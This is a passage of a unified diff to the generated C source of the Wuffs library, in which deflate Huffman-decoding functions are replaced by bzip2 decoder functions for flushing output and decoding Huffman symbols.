0u) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); +- goto exit; +- } else { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- goto exit; +- } +- v_length = (((v_table_entry >> 8u) & 255u) + 3u); +- v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); +- if (v_table_entry_n_bits > 0u) { +- v_length = (((v_length + 253u + ((uint32_t)(((v_bits) & WUFFS_BASE__LOW_BITS_MASK__U64(v_table_entry_n_bits))))) & 255u) + 3u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- } +- v_table_entry = self->private_data.f_huffs[1u][(v_bits & v_dmask)]; +- v_table_entry_n_bits = (v_table_entry & 15u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- if ((v_table_entry >> 28u) == 1u) { +- v_redir_top = ((v_table_entry >> 8u) & 65535u); +- v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); +- v_table_entry = self->private_data.f_huffs[1u][((v_redir_top + (((uint32_t)(v_bits)) & v_redir_mask)) & 1023u)]; +- v_table_entry_n_bits = (v_table_entry & 15u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- } +- if ((v_table_entry >> 24u) != 64u) { +- if ((v_table_entry >> 24u) == 8u) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- goto exit; ++ self->private_impl.f_flush_pointer = v_flush_pointer; ++ self->private_impl.f_flush_repeat_count = v_flush_repeat_count; ++ self->private_impl.f_flush_prev = v_flush_prev; ++ self->private_impl.f_block_checksum_have = v_block_checksum_have; ++ if (v_block_size <= 900000u) { ++ self->private_impl.f_block_size = v_block_size; ++ } ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func bzip2.decoder.flush_slow ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_bzip2__decoder__flush_slow( ++ wuffs_bzip2__decoder* self, ++ wuffs_base__io_buffer* a_dst) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint32_t v_flush_pointer = 0; ++ uint32_t v_flush_repeat_count = 0; ++ uint8_t v_flush_prev = 0; ++ uint32_t v_block_checksum_have = 0; ++ uint32_t v_block_size = 0; ++ uint32_t v_entry = 0; ++ uint8_t v_curr = 0; ++ ++ uint8_t* iop_a_dst = NULL; ++ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; + } +- v_dist_minus_1 = ((v_table_entry >> 8u) & 32767u); +- v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); +- v_dist_minus_1 = ((v_dist_minus_1 + ((uint32_t)(((v_bits) & WUFFS_BASE__LOW_BITS_MASK__U64(v_table_entry_n_bits))))) & 32767u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- do { +- if (((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) { +- v_hlen = 0u; +- v_hdist = ((uint32_t)((((uint64_t)((v_dist_minus_1 + 1u))) - ((uint64_t)(iop_a_dst - io0_a_dst))))); +- if (v_length > v_hdist) { +- v_length -= v_hdist; +- v_hlen = v_hdist; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_flush_slow; ++ if (coro_susp_point) { ++ v_flush_pointer = self->private_data.s_flush_slow.v_flush_pointer; ++ v_flush_repeat_count = self->private_data.s_flush_slow.v_flush_repeat_count; ++ v_flush_prev = self->private_data.s_flush_slow.v_flush_prev; ++ v_block_checksum_have = self->private_data.s_flush_slow.v_block_checksum_have; ++ v_block_size = self->private_data.s_flush_slow.v_block_size; ++ v_curr = self->private_data.s_flush_slow.v_curr; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ v_flush_pointer = self->private_impl.f_flush_pointer; ++ v_flush_repeat_count = self->private_impl.f_flush_repeat_count; ++ v_flush_prev = self->private_impl.f_flush_prev; ++ v_block_checksum_have = self->private_impl.f_block_checksum_have; ++ v_block_size = self->private_impl.f_block_size; ++ while ((v_block_size > 0u) && ! (self->private_impl.p_flush_slow != 0)) { ++ if (v_flush_repeat_count < 4u) { ++ v_entry = self->private_data.f_bwt[v_flush_pointer]; ++ v_curr = ((uint8_t)(v_entry)); ++ v_flush_pointer = (v_entry >> 12u); ++ if (v_curr == v_flush_prev) { ++ v_flush_repeat_count += 1u; + } else { +- v_hlen = v_length; +- v_length = 0u; +- } +- v_hdist += v_hdist_adjustment; +- if (self->private_impl.f_history_index < v_hdist) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_distance); +- goto exit; +- } +- wuffs_base__io_writer__limited_copy_u32_from_slice( +- &iop_a_dst, io2_a_dst,v_hlen, wuffs_base__make_slice_u8_ij(self->private_data.f_history, ((self->private_impl.f_history_index - v_hdist) & 32767u), 33025)); +- if (v_length == 0u) { +- goto label__loop__continue; ++ v_flush_repeat_count = 1u; + } +- if ((((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) || (((uint64_t)(v_length)) > ((uint64_t)(io2_a_dst - iop_a_dst))) || (((uint64_t)((v_length + 8u))) > ((uint64_t)(io2_a_dst - iop_a_dst)))) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_distance); +- goto exit; ++ v_block_checksum_have = (WUFFS_BZIP2__REV_CRC32_TABLE[((uint8_t)(((uint8_t)((v_block_checksum_have >> 24u))) ^ v_curr))] ^ ((uint32_t)(v_block_checksum_have << 8u))); ++ self->private_data.s_flush_slow.scratch = v_curr; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (iop_a_dst == io2_a_dst) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ goto suspend; + } +- } +- if ((v_dist_minus_1 + 1u) >= 8u) { +- wuffs_base__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast( +- &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); +- } else if ((v_dist_minus_1 + 1u) == 1u) { +- wuffs_base__io_writer__limited_copy_u32_from_history_8_byte_chunks_distance_1_fast( +- &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); ++ *iop_a_dst++ = ((uint8_t)(self->private_data.s_flush_slow.scratch)); ++ v_flush_prev = v_curr; ++ v_block_size -= 1u; + } else { +- wuffs_base__io_writer__limited_copy_u32_from_history_fast( +- &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); ++ v_entry = self->private_data.f_bwt[v_flush_pointer]; ++ v_curr = ((uint8_t)(v_entry)); ++ v_flush_pointer = (v_entry >> 12u); ++ v_flush_repeat_count = ((uint32_t)(v_curr)); ++ while (v_flush_repeat_count > 0u) { ++ v_block_checksum_have = (WUFFS_BZIP2__REV_CRC32_TABLE[((uint8_t)(((uint8_t)((v_block_checksum_have >> 24u))) ^ v_flush_prev))] ^ ((uint32_t)(v_block_checksum_have << 8u))); ++ self->private_data.s_flush_slow.scratch = v_flush_prev; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (iop_a_dst == io2_a_dst) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_write); ++ goto suspend; ++ } ++ *iop_a_dst++ = ((uint8_t)(self->private_data.s_flush_slow.scratch)); ++ v_flush_repeat_count -= 1u; ++ } ++ v_flush_repeat_count = 0u; ++ v_flush_prev = v_curr; ++ v_block_size -= 1u; + } +- } while (0); +- } +- if (v_n_bits > 63u) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); +- goto exit; +- } +- while (v_n_bits >= 8u) { +- v_n_bits -= 8u; +- if (iop_a_src > io1_a_src) { +- iop_a_src--; +- } else { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_i_o); +- goto exit; + } +- } +- self->private_impl.f_bits = ((uint32_t)((v_bits & ((((uint64_t)(1u)) << v_n_bits) - 1u)))); +- self->private_impl.f_n_bits = v_n_bits; +- if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> self->private_impl.f_n_bits) != 0u)) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); ++ self->private_impl.f_flush_pointer = v_flush_pointer; ++ self->private_impl.f_flush_repeat_count = v_flush_repeat_count; ++ self->private_impl.f_flush_prev = v_flush_prev; ++ self->private_impl.f_block_checksum_have = v_block_checksum_have; ++ if (v_block_size <= 900000u) { ++ self->private_impl.f_block_size = v_block_size; ++ } ++ ++ goto ok; ++ ok: ++ self->private_impl.p_flush_slow = 0; + goto exit; + } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_flush_slow = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_flush_slow.v_flush_pointer = v_flush_pointer; ++ self->private_data.s_flush_slow.v_flush_repeat_count = v_flush_repeat_count; ++ self->private_data.s_flush_slow.v_flush_prev = v_flush_prev; ++ self->private_data.s_flush_slow.v_block_checksum_have = v_block_checksum_have; ++ self->private_data.s_flush_slow.v_block_size = v_block_size; ++ self->private_data.s_flush_slow.v_curr = v_curr; ++ + goto exit; + exit: + if (a_dst && a_dst->data.ptr) { + a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); + } +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } + + return status; + } +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-// ‼ WUFFS MULTI-FILE SECTION -x86_bmi2 + +-// -------- func deflate.decoder.decode_huffman_fast32 ++// -------- func bzip2.decoder.decode_huffman_fast + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_deflate__decoder__decode_huffman_fast32( +- wuffs_deflate__decoder* self, +- wuffs_base__io_buffer* a_dst, ++wuffs_bzip2__decoder__decode_huffman_fast( ++ wuffs_bzip2__decoder* self, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + + uint32_t v_bits = 0; + uint32_t v_n_bits = 0; +- uint32_t v_table_entry = 0; +- uint32_t v_table_entry_n_bits = 0; +- uint32_t v_lmask = 0; +- uint32_t v_dmask = 0; +- uint32_t v_redir_top = 0; +- uint32_t v_redir_mask = 0; +- uint32_t v_length = 0; +- uint32_t v_dist_minus_1 = 0; +- uint32_t v_hlen = 0; +- uint32_t v_hdist = 0; +- uint32_t v_hdist_adjustment = 0; ++ uint32_t v_block_size = 0; ++ uint8_t v_which = 0; ++ uint32_t v_ticks = 0; ++ uint32_t v_section = 0; ++ uint32_t v_run_shift = 0; ++ uint16_t v_table_entry = 0; ++ uint16_t v_child = 0; ++ uint32_t v_child_ff = 0; ++ uint32_t v_i = 0; ++ uint32_t v_j = 0; ++ uint32_t v_output = 0; ++ uint32_t v_run = 0; ++ uint32_t v_mtft0 = 0; + +- uint8_t* iop_a_dst = NULL; +- uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_dst && a_dst->data.ptr) { +- io0_a_dst = a_dst->data.ptr; +- io1_a_dst = io0_a_dst + a_dst->meta.wi; +- iop_a_dst = io1_a_dst; +- io2_a_dst = io0_a_dst + a_dst->data.len; +- if (a_dst->meta.closed) { +- io2_a_dst = iop_a_dst; +- } +- } + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -35657,205 +35461,92 @@ wuffs_deflate__decoder__decode_huffman_fast32( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> (self->private_impl.f_n_bits & 7u)) != 0u)) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); +- goto exit; +- } + v_bits = self->private_impl.f_bits; + v_n_bits = self->private_impl.f_n_bits; +- v_lmask = ((((uint32_t)(1u)) << self->private_impl.f_n_huffs_bits[0u]) - 1u); +- v_dmask = ((((uint32_t)(1u)) << self->private_impl.f_n_huffs_bits[1u]) - 1u); +- if (self->private_impl.f_transformed_history_count < (a_dst ? a_dst->meta.pos : 0u)) { +- status = wuffs_base__make_status(wuffs_base__error__bad_i_o_position); +- goto exit; +- } +- v_hdist_adjustment = ((uint32_t)((self->private_impl.f_transformed_history_count - (a_dst ? a_dst->meta.pos : 0u)))); +- label__loop__continue:; +- while ((((uint64_t)(io2_a_dst - iop_a_dst)) >= 266u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 12u)) { +- if (v_n_bits < 15u) { +- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); +- iop_a_src += 1u; +- v_n_bits += 8u; +- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); +- iop_a_src += 1u; +- v_n_bits += 8u; ++ v_block_size = self->private_impl.f_block_size; ++ v_which = self->private_impl.f_decode_huffman_which; ++ v_ticks = self->private_impl.f_decode_huffman_ticks; ++ v_section = self->private_impl.f_decode_huffman_section; ++ v_run_shift = self->private_impl.f_decode_huffman_run_shift; ++ while (((uint64_t)(io2_a_src - iop_a_src)) >= 4u) { ++ if (v_ticks > 0u) { ++ v_ticks -= 1u; + } else { +- } +- v_table_entry = self->private_data.f_huffs[0u][(v_bits & v_lmask)]; +- v_table_entry_n_bits = (v_table_entry & 15u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- if ((v_table_entry >> 31u) != 0u) { +- (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)((v_table_entry >> 8u)))), iop_a_dst += 1); +- continue; +- } else if ((v_table_entry >> 30u) != 0u) { +- } else if ((v_table_entry >> 29u) != 0u) { +- self->private_impl.f_end_of_block = true; +- break; +- } else if ((v_table_entry >> 28u) != 0u) { +- if (v_n_bits < 15u) { +- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); +- iop_a_src += 1u; +- v_n_bits += 8u; +- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); +- iop_a_src += 1u; +- v_n_bits += 8u; +- } else { +- } +- v_redir_top = ((v_table_entry >> 8u) & 65535u); +- v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); +- v_table_entry = self->private_data.f_huffs[0u][((v_redir_top + (v_bits & v_redir_mask)) & 1023u)]; +- v_table_entry_n_bits = (v_table_entry & 15u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- if ((v_table_entry >> 31u) != 0u) { +- (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)((v_table_entry >> 8u)))), iop_a_dst += 1); +- continue; +- } else if ((v_table_entry >> 30u) != 0u) { +- } else if ((v_table_entry >> 29u) != 0u) { +- self->private_impl.f_end_of_block = true; +- break; +- } else if ((v_table_entry >> 28u) != 0u) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- goto exit; +- } else if ((v_table_entry >> 27u) != 0u) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); +- goto exit; +- } else { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ v_ticks = 49u; ++ v_section += 1u; ++ if (v_section >= self->private_impl.f_num_sections) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_number_of_sections); + goto exit; + } +- } else if ((v_table_entry >> 27u) != 0u) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); +- goto exit; +- } else { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- goto exit; +- } +- v_length = (((v_table_entry >> 8u) & 255u) + 3u); +- v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); +- if (v_table_entry_n_bits > 0u) { +- if (v_n_bits < 15u) { +- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); +- iop_a_src += 1u; +- v_n_bits += 8u; +- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); +- iop_a_src += 1u; +- v_n_bits += 8u; +- } else { +- } +- v_length = (((v_length + 253u + ((v_bits) & WUFFS_BASE__LOW_BITS_MASK__U32(v_table_entry_n_bits))) & 255u) + 3u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- } else { +- } +- if (v_n_bits < 15u) { +- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); +- iop_a_src += 1u; +- v_n_bits += 8u; +- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); +- iop_a_src += 1u; +- v_n_bits += 8u; +- } else { ++ v_which = WUFFS_BZIP2__CLAMP_TO_5[((uint8_t)(self->private_data.f_huffman_selectors[(v_section & 32767u)] & 7u))]; + } +- v_table_entry = self->private_data.f_huffs[1u][(v_bits & v_dmask)]; +- v_table_entry_n_bits = (v_table_entry & 15u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- if ((v_table_entry >> 28u) == 1u) { +- if (v_n_bits < 15u) { +- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); +- iop_a_src += 1u; +- v_n_bits += 8u; +- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); +- iop_a_src += 1u; +- v_n_bits += 8u; +- } else { ++ v_bits |= (wuffs_base__peek_u32be__no_bounds_check(iop_a_src) >> v_n_bits); ++ iop_a_src += ((31u - v_n_bits) >> 3u); ++ v_n_bits |= 24u; ++ v_table_entry = self->private_data.f_huffman_tables[v_which][(v_bits >> 24u)]; ++ v_bits <<= ((uint16_t)(v_table_entry >> 12u)); ++ v_n_bits -= ((uint32_t)(((uint16_t)(v_table_entry >> 12u)))); ++ v_child = ((uint16_t)(v_table_entry & 1023u)); ++ while (v_child < 257u) { ++ v_child = self->private_data.f_huffman_trees[v_which][v_child][(v_bits >> 31u)]; ++ v_bits <<= 1u; ++ if (v_n_bits <= 0u) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__internal_error_inconsistent_huffman_decoder_state); ++ goto exit; + } +- v_redir_top = ((v_table_entry >> 8u) & 65535u); +- v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); +- v_table_entry = self->private_data.f_huffs[1u][((v_redir_top + (v_bits & v_redir_mask)) & 1023u)]; +- v_table_entry_n_bits = (v_table_entry & 15u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- } else { ++ v_n_bits -= 1u; + } +- if ((v_table_entry >> 24u) != 64u) { +- if ((v_table_entry >> 24u) == 8u) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); ++ if (v_child < 768u) { ++ v_child_ff = ((uint32_t)(((uint16_t)(v_child & 255u)))); ++ v_output = ((uint32_t)(self->private_data.f_mtft[v_child_ff])); ++ wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__make_slice_u8_ij(self->private_data.f_mtft, 1, (1u + v_child_ff)), wuffs_base__make_slice_u8(self->private_data.f_mtft, v_child_ff)); ++ self->private_data.f_mtft[0u] = ((uint8_t)(v_output)); ++ self->private_data.f_letter_counts[v_output] += 1u; ++ self->private_data.f_bwt[v_block_size] = v_output; ++ if (v_block_size >= self->private_impl.f_max_incl_block_size) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); + goto exit; + } +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- goto exit; ++ v_block_size += 1u; ++ v_run_shift = 0u; ++ continue; ++ } else if (v_child == 768u) { ++ self->private_impl.f_decode_huffman_finished = true; ++ break; + } +- v_dist_minus_1 = ((v_table_entry >> 8u) & 32767u); +- v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); +- if (v_n_bits < v_table_entry_n_bits) { +- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); +- iop_a_src += 1u; +- v_n_bits += 8u; +- v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); +- iop_a_src += 1u; +- v_n_bits += 8u; ++ if (v_run_shift >= 23u) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); ++ goto exit; + } +- v_dist_minus_1 = ((v_dist_minus_1 + ((v_bits) & WUFFS_BASE__LOW_BITS_MASK__U32(v_table_entry_n_bits))) & 32767u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- do { +- if (((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) { +- v_hlen = 0u; +- v_hdist = ((uint32_t)((((uint64_t)((v_dist_minus_1 + 1u))) - ((uint64_t)(iop_a_dst - io0_a_dst))))); +- if (v_length > v_hdist) { +- v_length -= v_hdist; +- v_hlen = v_hdist; +- } else { +- v_hlen = v_length; +- v_length = 0u; +- } +- v_hdist += v_hdist_adjustment; +- if (self->private_impl.f_history_index < v_hdist) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_distance); +- goto exit; +- } +- wuffs_base__io_writer__limited_copy_u32_from_slice( +- &iop_a_dst, io2_a_dst,v_hlen, wuffs_base__make_slice_u8_ij(self->private_data.f_history, ((self->private_impl.f_history_index - v_hdist) & 32767u), 33025)); +- if (v_length == 0u) { +- goto label__loop__continue; +- } +- if ((((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) || (((uint64_t)(v_length)) > ((uint64_t)(io2_a_dst - iop_a_dst))) || (((uint64_t)((v_length + 8u))) > ((uint64_t)(io2_a_dst - iop_a_dst)))) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_distance); +- goto exit; +- } +- } +- if ((v_dist_minus_1 + 1u) >= 8u) { +- wuffs_base__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast( +- &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); +- } else { +- wuffs_base__io_writer__limited_copy_u32_from_history_fast( +- &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); +- } +- } while (0); +- } +- while (v_n_bits >= 8u) { +- v_n_bits -= 8u; +- if (iop_a_src > io1_a_src) { +- iop_a_src--; +- } else { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_i_o); ++ v_run = ((((uint32_t)(v_child)) & 3u) << v_run_shift); ++ v_run_shift += 1u; ++ v_i = v_block_size; ++ v_j = (v_run + v_block_size); ++ if (v_j > self->private_impl.f_max_incl_block_size) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_length); + goto exit; + } ++ v_block_size = v_j; ++ v_mtft0 = ((uint32_t)(self->private_data.f_mtft[0u])); ++ self->private_data.f_letter_counts[v_mtft0] += v_run; ++ while (v_i < v_j) { ++ self->private_data.f_bwt[v_i] = v_mtft0; ++ v_i += 1u; ++ } + } +- self->private_impl.f_bits = (v_bits & ((((uint32_t)(1u)) << v_n_bits) - 1u)); ++ self->private_impl.f_bits = v_bits; + self->private_impl.f_n_bits = v_n_bits; +- if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> self->private_impl.f_n_bits) != 0u)) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); +- goto exit; +- } ++ self->private_impl.f_block_size = v_block_size; ++ self->private_impl.f_decode_huffman_which = v_which; ++ self->private_impl.f_decode_huffman_ticks = v_ticks; ++ self->private_impl.f_decode_huffman_section = v_section; ++ self->private_impl.f_decode_huffman_run_shift = v_run_shift; ++ status = wuffs_base__make_status(NULL); ++ goto ok; ++ ++ ok: + goto exit; + exit: +- if (a_dst && a_dst->data.ptr) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } + if (a_src && a_src->data.ptr) { + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +@@ -35863,52 +35554,25 @@ wuffs_deflate__decoder__decode_huffman_fast32( + return status; + } + +-// -------- func deflate.decoder.decode_huffman_fast64 ++// -------- func bzip2.decoder.decode_huffman_slow + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_deflate__decoder__decode_huffman_fast64( +- wuffs_deflate__decoder* self, +- wuffs_base__io_buffer* a_dst, ++wuffs_bzip2__decoder__decode_huffman_slow( ++ wuffs_bzip2__decoder* self, + wuffs_base__io_buffer* a_src) { +- return (*self->private_impl.choosy_decode_huffman_fast64)(self, a_dst, a_src); +-} ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_deflate__decoder__decode_huffman_fast64__choosy_default( +- wuffs_deflate__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint64_t v_bits = 0; +- uint32_t v_n_bits = 0; +- uint32_t v_table_entry = 0; +- uint32_t v_table_entry_n_bits = 0; +- uint64_t v_lmask = 0; +- uint64_t v_dmask = 0; +- uint32_t v_redir_top = 0; +- uint32_t v_redir_mask = 0; +- uint32_t v_length = 0; +- uint32_t v_dist_minus_1 = 0; +- uint32_t v_hlen = 0; +- uint32_t v_hdist = 0; +- uint32_t v_hdist_adjustment = 0; ++ uint8_t v_c8 = 0; ++ uint32_t v_node_index = 0; ++ uint16_t v_child = 0; ++ uint32_t v_child_ff = 0; ++ uint32_t v_i = 0; ++ uint32_t v_j = 0; ++ uint32_t v_output = 0; ++ uint32_t v_run = 0; ++ uint32_t v_mtft0 = 0; + +- uint8_t* iop_a_dst = NULL; +- uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_dst && a_dst->data.ptr) { +- io0_a_dst = a_dst->data.ptr; +- io1_a_dst = io0_a_dst + a_dst->meta.wi; +- iop_a_dst = io1_a_dst; +- io2_a_dst = io0_a_dst + a_dst->data.len; +- if (a_dst->meta.closed) { +- io2_a_dst = iop_a_dst; +- } +- } + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -35920,160 +35584,101 @@ wuffs_deflate__decoder__decode_huffman_fast64__choosy_default( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> (self->private_impl.f_n_bits & 7u)) != 0u)) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); +- goto exit; +- } +- v_bits = ((uint64_t)(self->private_impl.f_bits)); +- v_n_bits = self->private_impl.f_n_bits; +- v_lmask = ((((uint64_t)(1u)) << self->private_impl.f_n_huffs_bits[0u]) - 1u); +- v_dmask = ((((uint64_t)(1u)) << self->private_impl.f_n_huffs_bits[1u]) - 1u); +- if (self->private_impl.f_transformed_history_count < (a_dst ? a_dst->meta.pos : 0u)) { +- status = wuffs_base__make_status(wuffs_base__error__bad_i_o_position); +- goto exit; ++ uint32_t coro_susp_point = self->private_impl.p_decode_huffman_slow; ++ if (coro_susp_point) { ++ v_node_index = self->private_data.s_decode_huffman_slow.v_node_index; + } +- v_hdist_adjustment = ((uint32_t)((self->private_impl.f_transformed_history_count - (a_dst ? a_dst->meta.pos : 0u)))); +- label__loop__continue:; +- while ((((uint64_t)(io2_a_dst - iop_a_dst)) >= 266u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 8u)) { +- v_bits |= ((uint64_t)(wuffs_base__peek_u64le__no_bounds_check(iop_a_src) << (v_n_bits & 63u))); +- iop_a_src += ((63u - (v_n_bits & 63u)) >> 3u); +- v_n_bits |= 56u; +- v_table_entry = self->private_data.f_huffs[0u][(v_bits & 